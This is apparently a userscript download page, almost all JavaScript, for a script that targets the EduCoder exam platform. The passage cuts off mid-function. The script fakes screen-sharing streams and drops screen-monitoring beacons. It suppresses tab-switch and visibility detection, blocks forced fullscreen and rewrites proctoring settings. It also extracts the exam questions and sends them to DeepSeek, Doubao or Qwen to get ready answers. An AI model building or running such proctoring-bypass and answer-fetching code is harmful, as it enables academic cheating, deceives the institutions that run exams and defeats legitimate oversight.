您需要先安装一个扩展,例如 篡改猴、Greasemonkey 或 暴力猴,之后才能安装此脚本。
您需要先安装一个扩展,例如 篡改猴 或 暴力猴,之后才能安装此脚本。
您需要先安装一个扩展,例如 篡改猴 或 暴力猴,之后才能安装此脚本。
您需要先安装一个扩展,例如 篡改猴 或 Userscripts ,之后才能安装此脚本。
您需要先安装一款用户脚本管理器扩展,例如 Tampermonkey,才能安装此脚本。
您需要先安装用户脚本管理器扩展后才能安装此脚本。
禁用EduCoder平台的屏幕监控、防切屏和强制全屏功能,并提供题目提取和AI辅助答案
// ==UserScript== // @name 头歌平台考试脚本 // @namespace http://tampermonkey.net/ // @version 1.2 // @description 禁用EduCoder平台的屏幕监控、防切屏和强制全屏功能,并提供题目提取和AI辅助答案 // @author pansoul // @match *://*.educoder.net/* // @icon https://pansoul.asia/d/%E7%85%A7%E7%89%87/%E7%8C%AB%E5%92%AA.png?sign=rqH7OmjHp2jOACjs8aPh8jgVOU5-63RKp9Gl30KPJsY=:0 // @grant none // ==/UserScript== (function() { 'use strict'; const CONSTANTS = { SCREEN_MONITOR_URL_PART: 'commit_screen_at.json', EXERCISE_API_URL_PART: '/api/exercises/', EXERCISE_START_API: '/start.json', EXERCISE_GET_API: '/get_exercise.json', USER_INFO_API_URL: 'https://data.educoder.net/api/users/get_user_info.json', DEEPSEEK_API_URL: 'https://api.deepseek.com/chat/completions', DEEPSEEK_MODEL: 'deepseek-chat', DEEPSEEK_REASONER_MODEL: 'deepseek-reasoner', DEEPSEEK_DEFAULT_API_KEY: '', DOUBAO_API_URL: 'https://ark.cn-beijing.volces.com/api/v3/chat/completions', DOUBAO_MODEL: 'doubao-seed-1-6-250615', DOUBAO_DEFAULT_API_KEY: '', QWEN_API_URL: 'https://dashscope.aliyuncs.com/compatible-mode/v1/chat/completions', QWEN_MODEL: 'qwen-plus-latest', QWEN_DEFAULT_API_KEY: '', LOCAL_STORAGE_CURRENT_AI_MODEL: 'current_ai_model', LOCAL_STORAGE_DEEPSEEK_API_KEY: 'deepseek_api_key', LOCAL_STORAGE_DOUBAO_API_KEY: 'doubao_api_key', LOCAL_STORAGE_QWEN_API_KEY: 'qwen_api_key', LOCAL_STORAGE_AUTO_ANSWER: 'auto_generate_answers', LOCAL_STORAGE_THINKING_DISABLED: 'disable_deep_thinking', EVENT_TYPES: { BLUR: 'blur', VISIBILITY_CHANGE: 'visibilitychange', KEYDOWN: 'keydown', KEYUP: 'keyup', CONTEXTMENU: 'contextmenu', PASTE: 'paste', COPY: 'copy', CUT: 'cut' }, KEY_CODES: { F12: 123, V: 86, C: 67 }, VISIBILITY_STATE_VISIBLE: 'visible' }; const FuckEduCoder = { allQuestions: [], currentQuestionIndex: 0, extractedQuestionsData: null, userInfo: null }; FuckEduCoder.originalSendBeacon = navigator.sendBeacon; FuckEduCoder.originalGetDisplayMedia = navigator.mediaDevices && navigator.mediaDevices.getDisplayMedia ? navigator.mediaDevices.getDisplayMedia : null; FuckEduCoder.originalDocAddEventListener = document.addEventListener; FuckEduCoder.originalWinAddEventListener = window.addEventListener; FuckEduCoder.originalDocRemoveEventListener = document.removeEventListener; FuckEduCoder.originalWinRemoveEventListener = window.removeEventListener; FuckEduCoder.originalPreventDefault = Event.prototype.preventDefault; FuckEduCoder.disableScreenMonitoring = () => { navigator.sendBeacon = function(url, data) { if (url.includes(CONSTANTS.SCREEN_MONITOR_URL_PART)) { return true; } return FuckEduCoder.originalSendBeacon.apply(this, arguments); }; if (FuckEduCoder.originalGetDisplayMedia) { navigator.mediaDevices.getDisplayMedia = function() { const mockTrack = { getSettings: () => ({ displaySurface: "monitor" }), stop: () => {} }; const mockStream = { getVideoTracks: () => [mockTrack], getTracks: () => [mockTrack] }; return Promise.resolve(mockStream); }; } }; FuckEduCoder.disableAntiSwitching = () => { // 创建一个辅助函数来检查事件类型和监听器 const shouldBlockListener = (type, listener) => { // 阻止失焦和可视状态变化事件 if (type === CONSTANTS.EVENT_TYPES.BLUR || type === CONSTANTS.EVENT_TYPES.VISIBILITY_CHANGE) { return true; } // 处理键盘事件 if ((type === CONSTANTS.EVENT_TYPES.KEYDOWN || type === CONSTANTS.EVENT_TYPES.KEYUP) && listener && listener.toString) { const listenerStr = listener.toString(); // 阻止F12键相关监听 if (listenerStr.includes('F12') || (listenerStr.includes('preventDefault') && listenerStr.includes('key'))) { return true; } // 处理复制粘贴快捷键 if ((listenerStr.includes(CONSTANTS.KEY_CODES.V) || listenerStr.includes(CONSTANTS.KEY_CODES.C)) && (listenerStr.includes('ctrlKey') || listenerStr.includes('metaKey'))) { return false; // 不完全阻止,而是修改 } } // 阻止右键菜单限制 if (type === CONSTANTS.EVENT_TYPES.CONTEXTMENU && listener && listener.toString && listener.toString().includes('preventDefault')) { return true; } // 允许粘贴/复制/剪切事件但替换为空函数 if (type === CONSTANTS.EVENT_TYPES.PASTE || type === CONSTANTS.EVENT_TYPES.COPY || type === CONSTANTS.EVENT_TYPES.CUT) { return 'replace'; } return false; }; // 修改监听器处理函数 const wrapKeyListener = (listener) => { return function(event) { if ((event.keyCode === CONSTANTS.KEY_CODES.V || event.keyCode === CONSTANTS.KEY_CODES.C) && (event.ctrlKey || event.metaKey)) { return true; // 允许复制粘贴 } return listener.apply(this, arguments); }; }; // 统一的拦截添加事件监听器的函数 const interceptAddEventListener = (target, originalMethod, type, listener, options) => { const blockResult = shouldBlockListener(type, listener); if (blockResult === true) { return; // 完全阻止监听器 } if (blockResult === 'replace') { // 替换为空函数 const emptyListener = function() { return true; }; return originalMethod.call(target, type, emptyListener, options); } // 对于键盘事件中的复制粘贴,包装监听器 if ((type === CONSTANTS.EVENT_TYPES.KEYDOWN || type === CONSTANTS.EVENT_TYPES.KEYUP) && listener && listener.toString) { const listenerStr = listener.toString(); if ((listenerStr.includes(CONSTANTS.KEY_CODES.V) || listenerStr.includes(CONSTANTS.KEY_CODES.C)) && (listenerStr.includes('ctrlKey') || listenerStr.includes('metaKey'))) { listener = wrapKeyListener(listener); } } return originalMethod.apply(target, [type, listener, options]); }; // 覆盖window和document的addEventListener方法 window.addEventListener = function(type, listener, options) { return interceptAddEventListener(window, FuckEduCoder.originalWinAddEventListener, type, listener, options); }; document.addEventListener = function(type, listener, options) { return interceptAddEventListener(document, FuckEduCoder.originalDocAddEventListener, type, listener, options); }; // 移除已注册的失焦和可视状态变化监听器 FuckEduCoder.originalWinRemoveEventListener.apply(window, [CONSTANTS.EVENT_TYPES.BLUR, function(){}, false]); FuckEduCoder.originalDocRemoveEventListener.apply(document, [CONSTANTS.EVENT_TYPES.VISIBILITY_CHANGE, function(){}, false]); // 覆盖可视状态相关属性 Object.defineProperty(document, 'visibilityState', { get: function() { return CONSTANTS.VISIBILITY_STATE_VISIBLE; } }); Object.defineProperty(document, 'hidden', { get: function() { return false; } }); }; FuckEduCoder.disableFullScreen = () => { const fullscreenMethods = [ 'requestFullscreen', 'webkitRequestFullscreen', 'mozRequestFullScreen', 'msRequestFullscreen' ]; fullscreenMethods.forEach(method => { if (Element.prototype[method]) { const original = Element.prototype[method]; Element.prototype[method] = function() { return Promise.reject(new Error('全屏请求已被阻止')); }; } }); const fullscreenProperties = [ ['fullscreenElement', 'webkitFullscreenElement', 'mozFullScreenElement', 'msFullscreenElement'], ['fullscreenEnabled', 'webkitFullscreenEnabled', 'mozFullScreenEnabled', 'msFullscreenEnabled'] ]; fullscreenProperties[0].forEach(prop => { if (prop in document) { Object.defineProperty(document, prop, { get: function() { return document.documentElement; } }); } }); fullscreenProperties[1].forEach(prop => { if (prop in document) { Object.defineProperty(document, prop, { get: function() { return true; } }); } }); Object.defineProperty(window, 'isFullScreen', { get: function() { return true; }, set: function() { /* 忽略设置操作 */ } }); }; FuckEduCoder.patchExerciseUserInfo = () => { try { const allObjects = new WeakSet(); const findObjects = (obj) => { if (!obj || typeof obj !== 'object' || allObjects.has(obj)) return; allObjects.add(obj); if (obj.exerciseUserInfo && typeof obj.exerciseUserInfo === 'object') { if (obj.exerciseUserInfo.screen_open !== undefined) { obj.exerciseUserInfo.screen_open = false; } if (obj.exerciseUserInfo.screen_num !== undefined) { obj.exerciseUserInfo.screen_num = 999; } if (obj.exerciseUserInfo.screen_sec !== undefined) { obj.exerciseUserInfo.screen_sec = 0; } } for (const key in obj) { if (obj.hasOwnProperty(key) && typeof obj[key] === 'object' && obj[key] !== null) { if (key === 'document' || key === 'window' || key === 'location' || key === 'console') continue; findObjects(obj[key]); } } }; findObjects(window); } catch (e) { } }; FuckEduCoder.showMessage = (message, type = 'info') => { return new Promise((resolve) => { const messageContainer = document.createElement('div'); messageContainer.style.cssText = ` position: fixed; top: 20px; right: 20px; padding: 15px 20px; border-radius: 5px; box-shadow: 0 0 10px rgba(0, 0, 0, 0.2); z-index: 10000; max-width: 300px; word-wrap: break-word; color: white; font-family: Arial, sans-serif; transition: opacity 0.3s ease-in-out; `; if (type === 'error') { messageContainer.style.backgroundColor = '#f44336'; } else if (type === 'success') { messageContainer.style.backgroundColor = '#4CAF50'; } else if (type === 'warning') { messageContainer.style.backgroundColor = '#ff9800'; } else { messageContainer.style.backgroundColor = '#2196F3'; } messageContainer.textContent = message; document.body.appendChild(messageContainer); setTimeout(() => { messageContainer.style.opacity = '0'; setTimeout(() => { if (document.body.contains(messageContainer)) { document.body.removeChild(messageContainer); } resolve(); }, 300); }, 3000); }); }; FuckEduCoder.enableDevToolsAndContextMenu = () => { let originalDocKeyDown = document.onkeydown; Object.defineProperty(document, 'onkeydown', { get: function() { return function(event) { if (event.key === 'F12' || event.keyCode === CONSTANTS.KEY_CODES.F12) { console.log('已允许使用F12键'); return true; } if (originalDocKeyDown) { return originalDocKeyDown(event); } }; }, set: function(newValue) { originalDocKeyDown = function(event) { if (event.key === 'F12' || event.keyCode === CONSTANTS.KEY_CODES.F12) { console.log('已允许使用F12键'); return true; } if (newValue) { return newValue(event); } }; } }); let originalWinKeyDown = window.onkeydown; Object.defineProperty(window, 'onkeydown', { get: function() { return function(event) { if (event.key === 'F12' || event.keyCode === CONSTANTS.KEY_CODES.F12) { console.log('已允许使用F12键(window)'); return true; } if (originalWinKeyDown) { return originalWinKeyDown(event); } }; }, set: function(newValue) { originalWinKeyDown = function(event) { if (event.key === 'F12' || event.keyCode === CONSTANTS.KEY_CODES.F12) { console.log('已允许使用F12键(window)'); return true; } if (newValue) { return newValue(event); } }; } }); document.oncontextmenu = function(event) { console.log('已允许使用右键菜单'); return true; }; window.oncontextmenu = function(event) { console.log('已允许使用右键菜单(window)'); return true; }; Event.prototype.preventDefault = function() { if ((this.type === CONSTANTS.EVENT_TYPES.KEYDOWN || this.type === CONSTANTS.EVENT_TYPES.KEYUP)) { const key = this.key || this.code || this.keyCode; if (key === 'F12' || key === CONSTANTS.KEY_CODES.F12) { console.log('已阻止禁用F12键'); return false; } if (((key === 'v' || key === 'V' || key === CONSTANTS.KEY_CODES.V) || (key === 'c' || key === 'C' || CONSTANTS.KEY_CODES.C)) && (this.ctrlKey || this.metaKey)) { console.log('已阻止禁用复制粘贴快捷键的默认行为'); return false; } } if (this.type === CONSTANTS.EVENT_TYPES.CONTEXTMENU) { console.log('已阻止禁用右键菜单'); return false; } if (this.type === CONSTANTS.EVENT_TYPES.PASTE || this.type === CONSTANTS.EVENT_TYPES.COPY || this.type === CONSTANTS.EVENT_TYPES.CUT) { console.log(`已阻止禁用${this.type}操作`); return false; } return FuckEduCoder.originalPreventDefault.apply(this, arguments); }; const observer = new MutationObserver((mutations) => { for (const mutation of mutations) { if (mutation.type === 'childList') { for (const node of mutation.addedNodes) { if (node.nodeType === 1) { if (node.hasAttribute('onkeydown')) { const handler = node.getAttribute('onkeydown'); if (handler.includes('F12') || handler.includes(CONSTANTS.KEY_CODES.F12)) { node.removeAttribute('onkeydown'); console.log('已移除内联F12禁用代码'); } } if (node.hasAttribute('oncontextmenu')) { node.removeAttribute('oncontextmenu'); console.log('已移除内联右键菜单禁用代码'); } } } } } }); observer.observe(document, { childList: true, subtree: true }); setInterval(() => { const checkDevTools = window.devtools; if (checkDevTools) { Object.defineProperty(window, 'devtools', { get: function() { return { isOpen: false, orientation: undefined }; }, set: function() {} }); } }, 1000); }; FuckEduCoder.addStyles = () => { const style = document.createElement('style'); style.textContent = ` #question-extractor-panel { position: fixed; top: 20px; right: 20px; width: 380px; background-color: #fff; border: none; border-radius: 10px; box-shadow: 0 4px 20px rgba(0, 0, 0, 0.15); z-index: 9999; padding: 15px; font-family: "PingFang SC", "Microsoft YaHei", Arial, sans-serif; max-height: 80vh; overflow-y: auto; transition: all 0.3s ease; will-change: transform; /* 提示浏览器将对元素进行变换,优化性能 */ transform: translate3d(0, 0, 0); /* 启用GPU加速 */ user-select: none; /* 防止拖动时选中文本 */ } #question-extractor-panel.dragging { opacity: 0.9; box-shadow: 0 8px 24px rgba(0, 0, 0, 0.2); transition: none; /* 拖动时禁用过渡效果以提高响应性 */ cursor: move; } #question-extractor-panel::-webkit-scrollbar { width: 6px; } #question-extractor-panel::-webkit-scrollbar-thumb { background-color: #ddd; border-radius: 3px; } #question-extractor-panel::-webkit-scrollbar-track { background-color: #f5f5f5; } #question-extractor-panel.minimized { width: 300px; height: auto; overflow: hidden; box-shadow: 0 2px 10px rgba(0, 0, 0, 0.1); } #question-extractor-panel.minimized .panel-content { display: block; max-height: 0; overflow: hidden; transition: max-height 0.3s ease; } #question-extractor-panel.minimized .mini-answer { display: block; padding: 10px; margin: 5px; background-color: #f9f9f9; border-left: 4px solid #4CAF50; border-radius: 4px; font-size: 13px; line-height: 1.4; max-height: 60px; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; } #question-extractor-panel:not(.minimized) .mini-answer { display: none; } .panel-header { display: flex; justify-content: space-between; align-items: center; margin-bottom: 15px; cursor: move; padding-bottom: 10px; border-bottom: 1px solid #f0f0f0; user-select: none; /* 防止选中标题文本 */ touch-action: none; /* 优化触摸操作 */ } .panel-header:hover { background-color: #f8f8f8; border-radius: 8px 8px 0 0; } .panel-header:active { background-color: #f0f0f0; } .panel-title { font-weight: 600; font-size: 16px; color: #333; display: flex; align-items: center; } .panel-title:before { content: ""; display: inline-block; width: 8px; height: 18px; margin-right: 8px; background-color: #4CAF50; border-radius: 4px; } .panel-controls { display: flex; } .panel-button { margin-left: 8px; cursor: pointer; width: 22px; height: 22px; text-align: center; line-height: 22px; background-color: #f5f5f5; border-radius: 4px; transition: all 0.2s ease; } .panel-button:hover { background-color: #e0e0e0; } #close-button:hover { background-color: #f44336; color: white; } .panel-content { font-size: 14px; } #status-message { margin-bottom: 12px; padding: 10px; border-radius: 6px; background-color: #f8f8f8; text-align: center; font-weight: 500; transition: all 0.3s ease; box-shadow: 0 1px 3px rgba(0,0,0,0.05); } .action-buttons { display: flex; flex-wrap: wrap; gap: 8px; margin-top: 12px; justify-content: center; } .action-button { padding: 8px 12px; background-color: #4CAF50; color: white; border: none; border-radius: 6px; cursor: pointer; font-size: 13px; flex-grow: 1; text-align: center; transition: all 0.2s ease; min-width: 70px; box-shadow: 0 2px 5px rgba(0,0,0,0.08); border: 1px solid rgba(0,0,0,0.05); } .action-button:hover { background-color: #45a049; transform: translateY(-1px); box-shadow: 0 4px 8px rgba(0,0,0,0.1); } .action-button:active { transform: translateY(1px); box-shadow: 0 1px 2px rgba(0,0,0,0.1); } /* 移除了导航按钮相关样式 */ .question-item { margin-bottom: 18px; padding: 15px; border: none; border-radius: 10px; background-color: #fcfcfc; box-shadow: 0 2px 8px rgba(0,0,0,0.06); transition: transform 0.2s ease, box-shadow 0.2s ease; } .question-item:hover { transform: translateY(-2px); box-shadow: 0 4px 12px rgba(0,0,0,0.1); } .question-title { font-weight: 600; margin-bottom: 10px; line-height: 1.4; font-size: 15px; } .question-type { color: #fff; font-size: 12px; background-color: #2196F3; display: inline-block; padding: 3px 8px; border-radius: 12px; margin-bottom: 10px; } .question-score { color: #e91e63; font-size: 12px; display: inline-block; margin-left: 8px; background-color: rgba(233, 30, 99, 0.1); padding: 3px 8px; border-radius: 12px; font-weight: 500; } .question-content { margin-bottom: 10px; } .choice-item { margin: 8px 0 8px 15px; padding: 5px 10px; transition: background-color 0.2s ease; border-radius: 6px; line-height: 1.4; } .choice-item:hover { background-color: #f0f0f0; } pre { background-color: #f8f8f8; padding: 12px; border-radius: 8px; overflow-x: auto; font-family: Consolas, monospace; border: 1px solid #eee; margin: 10px 0; font-size: 13px; } .code-block { font-family: Consolas, monospace; white-space: pre-wrap; background-color: #f8f8f8; padding: 12px; border-radius: 8px; margin-top: 10px; max-height: 200px; overflow-y: auto; border: 1px solid #eee; font-size: 13px; } .exam-info { margin-bottom: 15px; padding: 12px; background-color: #e3f2fd; border-radius: 8px; font-size: 13px; border-left: 4px solid #2196F3; line-height: 1.5; } .ai-answer-section { margin-top: 18px; border-top: 1px dashed #ddd; padding-top: 15px; } .ai-answer { background-color: #f9f9f9; padding: 12px; border-radius: 8px; margin-top: 10px; border-left: 4px solid #4CAF50; line-height: 1.5; font-size: 13px; box-shadow: 0 1px 4px rgba(0,0,0,0.05); user-select: text; /* 允许选择文本 */ position: relative; } .ai-answer-header { display: flex; justify-content: space-between; align-items: center; margin-bottom: 8px; } .copy-answer-btn { position: absolute; top: 8px; right: 8px; background-color: rgba(255, 255, 255, 0.8); border: 1px solid #ddd; border-radius: 4px; padding: 2px 6px; font-size: 12px; cursor: pointer; transition: all 0.2s ease; color: #666; } .copy-answer-btn:hover { background-color: #4CAF50; color: white; border-color: #4CAF50; } /* 响应式布局调整 */ @media (max-width: 768px) { #question-extractor-panel { width: 90%; left: 50%; transform: translateX(-50%); right: auto; max-height: 70vh; } } `; document.head.appendChild(style); }; FuckEduCoder.getWebPageChoicesOrder = (questionId) => { try { const choices = []; const mainContentAreas = document.querySelectorAll('.exercise-content, .question-content, .edu-question-body, .exercise-body'); for (const area of mainContentAreas) { const choiceElements = area.querySelectorAll('.answerWrap, .choice-item, .option-item, label'); if (choiceElements.length > 0) { for (const item of choiceElements) { let letter = ''; let text = ''; const letterEl = item.querySelector('.choice-letter, .option-letter'); const textEl = item.querySelector('.choice-text, .option-text, .renderHtml'); if (letterEl && textEl) { letter = letterEl.textContent.trim().replace(/[^A-Z]/g, ''); text = textEl.textContent.trim(); } else { const match = item.textContent.match(/^([A-Z])\.\s*(.*)/); if (match) { letter = match[1]; text = match[2].trim(); } else { const labelText = item.textContent.trim(); const labelMatch = labelText.match(/^([A-Z])\.\s*(.*)/); if (labelMatch) { letter = labelMatch[1]; text = labelMatch[2].trim(); } } } if (letter && text) { // 对从网页获取的选项文本进行解码,以防有HTML实体 text = FuckEduCoder.decodeHtmlEntities(text); choices.push({ letter, text }); } } if (choices.length > 0) { console.log('从网页找到选项顺序:', choices); return choices; } } } } catch (e) { console.error('获取网页选项顺序时出错:', e); } console.log('未能从网页获取选项顺序。'); return null; }; FuckEduCoder.decodeBase64 = (str) => { try { return atob(str); } catch (e) { return "无法解码代码"; } }; // 添加解码HTML实体的函数 FuckEduCoder.decodeHtmlEntities = (str) => { if (!str) return str; // 创建一个临时的div元素来解码HTML实体 const tempElement = document.createElement('div'); // 使用textContent避免XSS风险 tempElement.textContent = str; // 获取解码后的内容 const decoded = tempElement.innerHTML; // 处理Unicode转义序列 return decoded // HTML标签相关 .replace(/\\u003c/g, '<') .replace(/\\u003e/g, '>') // 特殊字符 .replace(/\\u0026/g, '&') .replace(/\\u0027/g, "'") .replace(/\\u0022/g, '"') .replace(/\\u002F/g, '/') .replace(/\\u005C/g, '\\') .replace(/\\u003d/g, '=') .replace(/\\u003a/g, ':') .replace(/\\u002c/g, ',') .replace(/\\u002e/g, '.') .replace(/\\u002d/g, '-') .replace(/\\u0028/g, '(') .replace(/\\u0029/g, ')') .replace(/\\u005b/g, '[') .replace(/\\u005d/g, ']') .replace(/\\u007b/g, '{') .replace(/\\u007d/g, '}') // 空白字符 .replace(/\\u0020/g, ' ') .replace(/\\u0009/g, '\t') .replace(/\\u000a/g, '\n') .replace(/\\u000d/g, '\r') // 通用Unicode转义序列处理 .replace(/\\u([0-9a-fA-F]{4})/g, (match, hex) => { return String.fromCharCode(parseInt(hex, 16)); }) // 换行符 .replace(/\\n/g, '\n'); }; FuckEduCoder.extractQuestionsToArray = (data) => { if (!data || !data.exercise_question_types) { return []; } const questions = []; const examInfo = { type: 'exam-info', title: data.exercise.exercise_name, content: `考试时间: ${data.exercise.time / 60} 分钟\n总分: ${data.exercise_types.q_scores} 分` }; questions.push(examInfo); data.exercise_question_types.forEach((questionType) => { questionType.items.forEach((question) => { const questionData = { type: questionType.name, title: FuckEduCoder.decodeHtmlEntities(question.question_title), score: question.question_score, choices: question.question_choices ? question.question_choices.map(choice => ({ ...choice, choice_text: FuckEduCoder.decodeHtmlEntities(choice.choice_text) })) : [], code: question.code ? FuckEduCoder.decodeBase64(question.code) : null, subQuestions: [], questionId: question.question_id, questionType: question.question_type, // 保存原始question_type,用于区分程序填空题(8)等特殊题型 hackId: question.hack_id, // 保存程序填空题的hack_id hackIdentifier: question.hack_identifier // 保存程序填空题的hack_identifier }; if (question.sub_exercise_questions && question.sub_exercise_questions.length > 0) { question.sub_exercise_questions.forEach((subQuestion) => { questionData.subQuestions.push({ title: FuckEduCoder.decodeHtmlEntities(subQuestion.question_title), score: subQuestion.score, choices: subQuestion.question_choices ? subQuestion.question_choices.map(choice => ({ ...choice, choice_text: FuckEduCoder.decodeHtmlEntities(choice.choice_text) })) : [], questionId: subQuestion.question_id }); }); } questions.push(questionData); }); }); return questions; }; FuckEduCoder.formatQuestionData = (data) => { if (!data || !data.exercise_question_types) { return "未找到题目数据"; } let formattedData = `# ${data.exercise.exercise_name}\n\n`; formattedData += `考试时间: ${data.exercise.time / 60} 分钟\n`; formattedData += `总分: ${data.exercise_types.q_scores} 分\n\n`; data.exercise_question_types.forEach((questionType, index) => { formattedData += `## ${index + 1}. ${questionType.name} (共${questionType.count}题,每题${questionType.score}分)\n\n`; questionType.items.forEach((question, qIndex) => { formattedData += `### ${qIndex + 1}) ${FuckEduCoder.decodeHtmlEntities(question.question_title)}\n`; formattedData += `分值: ${question.question_score}分\n\n`; if (question.question_choices) { question.question_choices.forEach((choice, cIndex) => { const optionLetter = String.fromCharCode(65 + cIndex); formattedData += `${optionLetter}. ${FuckEduCoder.decodeHtmlEntities(choice.choice_text)}\n`; }); formattedData += '\n'; } if (question.question_type === 8 && question.code) { const decodedCode = FuckEduCoder.decodeBase64(question.code); formattedData += "```\n" + decodedCode + "\n```\n\n"; } if (question.sub_exercise_questions && question.sub_exercise_questions.length > 0) { formattedData += "子题目:\n\n"; question.sub_exercise_questions.forEach((subQuestion, sIndex) => { formattedData += `#### ${sIndex + 1}. ${FuckEduCoder.decodeHtmlEntities(subQuestion.question_title)}\n`; formattedData += `分值: ${subQuestion.score}分\n\n`; if (subQuestion.question_choices) { subQuestion.question_choices.forEach((choice, scIndex) => { const optionLetter = String.fromCharCode(65 + scIndex); formattedData += `${optionLetter}. ${FuckEduCoder.decodeHtmlEntities(choice.choice_text)}\n`; }); formattedData += '\n'; } }); } formattedData += '---\n\n'; }); }); return formattedData; }; FuckEduCoder.displayExamInfo = (examInfo) => { const examInfoContainer = document.getElementById('exam-info'); if (!examInfoContainer) return; examInfoContainer.innerHTML = ` <div class="exam-info"> <strong>${examInfo.title}</strong><br> ${examInfo.content.replace('\n', '<br>')} </div> `; }; FuckEduCoder.callAIModel = async (prompt) => { try { const currentAiModel = localStorage.getItem(CONSTANTS.LOCAL_STORAGE_CURRENT_AI_MODEL) || 'deepseek'; let apiUrl, apiKey, model; // 检查是否禁用深度思考 const disableDeepThinking = localStorage.getItem(CONSTANTS.LOCAL_STORAGE_THINKING_DISABLED) === 'true'; // 根据选择的AI模型确定API配置 if (currentAiModel === 'deepseek') { apiUrl = CONSTANTS.DEEPSEEK_API_URL; apiKey = localStorage.getItem(CONSTANTS.LOCAL_STORAGE_DEEPSEEK_API_KEY) || CONSTANTS.DEEPSEEK_DEFAULT_API_KEY; // 根据是否启用深度思考选择不同的模型 model = disableDeepThinking ? CONSTANTS.DEEPSEEK_MODEL : CONSTANTS.DEEPSEEK_REASONER_MODEL; } else if (currentAiModel === 'qwen') { apiUrl = CONSTANTS.QWEN_API_URL; apiKey = localStorage.getItem(CONSTANTS.LOCAL_STORAGE_QWEN_API_KEY) || CONSTANTS.QWEN_DEFAULT_API_KEY; model = CONSTANTS.QWEN_MODEL; } else { apiUrl = CONSTANTS.DOUBAO_API_URL; apiKey = localStorage.getItem(CONSTANTS.LOCAL_STORAGE_DOUBAO_API_KEY) || CONSTANTS.DOUBAO_DEFAULT_API_KEY; model = CONSTANTS.DOUBAO_MODEL; } // 准备请求数据 let requestData = {}; // 根据不同模型准备不同的请求数据 if (currentAiModel === 'qwen') { // 通义千问模型的请求格式 requestData = { model: model, messages: [ { role: 'system', content: 'You are a helpful assistant.' }, { role: 'user', content: prompt } ] }; // 只有在非禁用深度思考时才添加enable_thinking参数 if (!disableDeepThinking) { requestData.stream = true; requestData.enable_thinking = true; requestData.stream_options = { include_usage: true }; } } else if (currentAiModel === 'doubao') { // 豆包模型的请求格式 requestData = { model: model, messages: [{ role: 'user', content: [{ type: 'text', text: prompt }] }] }; // 只有在禁用深度思考时才添加thinking配置 if (disableDeepThinking) { requestData.thinking = { type: 'disabled' }; } } else { // DeepSeek模型的请求格式 requestData = { model: model, messages: [{ role: 'user', content: [{ type: 'text', text: prompt }] }] }; // DeepSeek通过切换模型实现深度思考,不需要额外参数 } // 发送API请求 const response = await fetch(apiUrl, { method: 'POST', headers: { 'Content-Type': 'application/json', 'Authorization': `Bearer ${apiKey}` }, body: JSON.stringify(requestData) }); if (!response.ok) { const errorText = await response.text(); console.error('API响应错误:', errorText); throw new Error(`API请求失败: ${response.status}`); } // 对于通义千问的流式响应需要特殊处理 if (currentAiModel === 'qwen' && !disableDeepThinking) { // 处理流式响应 const reader = response.body.getReader(); let fullText = ''; let decoder = new TextDecoder(); while (true) { const { done, value } = await reader.read(); if (done) break; const chunk = decoder.decode(value, { stream: true }); const lines = chunk.split('\n').filter(line => line.trim() !== ''); for (const line of lines) { if (line.startsWith('data: ')) { const jsonStr = line.slice(6); if (jsonStr === '[DONE]') continue; try { const jsonData = JSON.parse(jsonStr); if (jsonData.choices && jsonData.choices.length > 0) { const delta = jsonData.choices[0].delta; if (delta && delta.content) { fullText += delta.content; } } } catch (e) { console.error('解析流式数据出错:', e); } } } } return fullText; } else { // 非流式响应的处理方式 const responseData = await response.json(); if (responseData.choices && responseData.choices.length > 0 && responseData.choices[0].message && responseData.choices[0].message.content) { return responseData.choices[0].message.content; } else { throw new Error('API响应格式不正确'); } } } catch (error) { console.error('AI API调用出错:', error); throw error; // 重新抛出错误以便上层处理 } }; // 创建辅助函数来构建提示词 FuckEduCoder.buildPromptForQuestion = (question) => { // 根据题目类型确定提示词 let prompt = ''; // 特殊处理程序填空题 if (question.questionType === 8) { prompt = `请回答以下程序填空题,不要使用反引号:\n\n${question.title}\n\n`; if (question.code) { prompt += `代码:\n${question.code}\n\n`; prompt += `请分析上面的代码,找出标记为"@□@"的填空位置,并给出每个空应该填写的代码。\n`; prompt += `请直接给出填空答案,不要有多余的解释,每个空的答案单独一行。\n`; prompt += `不要使用反引号或代码块格式,直接给出代码文本。\n`; } } else { // 其他题型的处理 prompt = `请回答以下${question.type},不用给出任何解释,直接给出答案以及选项的内容:\n\n${question.title}\n\n`; // 获取网页上显示的选项顺序 const webPageChoices = FuckEduCoder.getWebPageChoicesOrder(question.questionId); // 添加选项信息 if (question.choices && question.choices.length > 0) { if (webPageChoices && webPageChoices.length > 0) { prompt += `网页中显示的选项顺序:\n`; webPageChoices.forEach((choice) => { prompt += `${choice.letter}. ${choice.text}\n`; }); } else { prompt += `API中的选项顺序(可能与网页显示不同):\n`; question.choices.forEach((choice, index) => { const optionLetter = String.fromCharCode(65 + index); prompt += `${optionLetter}. ${choice.choice_text}\n`; }); } } // 添加代码信息 if (question.code) { prompt += `\n代码:\n${question.code}\n`; } // 根据题目类型添加特定指导 if (question.type === '单选题' || question.type === '多选题') { prompt += '\n请直接给出正确选项字母,不用给出任何解释,直接给出答案以及选项的内容。在回答中明确标记如:选项A(对应的选项内容)正确。不要使用反引号。'; } else if (question.type === '判断题') { prompt += '\n请直接给出"正确"或"错误"的判断,不用给出任何解释,直接给出答案以及选项的内容。不要使用反引号。'; } else if (question.type === '填空题') { prompt += '\n请直接给出填空的内容,不用给出任何解释,直接给出答案以及选项的内容。不要使用反引号。'; } // 强调需要包含选项内容 if (question.choices && question.choices.length > 0) { prompt += '\n\n重要:请在回答中包含选项内容,例如"选项A(XXXX)正确",这样用户可以根据选项内容比对网页中的选项。不要使用反引号。'; } } return prompt; }; // 更新UI显示答案内容的辅助函数 FuckEduCoder.updateAnswerUI = (answerContainer, answer, question) => { if (!answerContainer) return; // 格式化答案以在HTML中显示 // 先处理反引号问题,将其替换为HTML实体 const formattedAnswer = answer .replace(/`/g, '`') .replace(/\n\n/g, '<br><br>') .replace(/\n/g, '<br>'); answerContainer.innerHTML = `<div class="ai-answer">${formattedAnswer}</div>`; // 保存答案到问题对象 question.aiAnswer = answer; // 更新最小化模式下的答案预览 const miniAnswerContainer = document.getElementById('mini-answer'); if (miniAnswerContainer) { // 简化答案预览,只取第一行 let simplifiedAnswer = answer.split('\n')[0]; if (simplifiedAnswer.length > 50) { simplifiedAnswer = simplifiedAnswer.substring(0, 50) + '...'; } miniAnswerContainer.textContent = `${question.type}: ${simplifiedAnswer}`; } }; FuckEduCoder.generateAIAnswer = async (question, forceRefresh = false) => { const answerContainer = document.getElementById('ai-answer-content'); if (!answerContainer) return; // 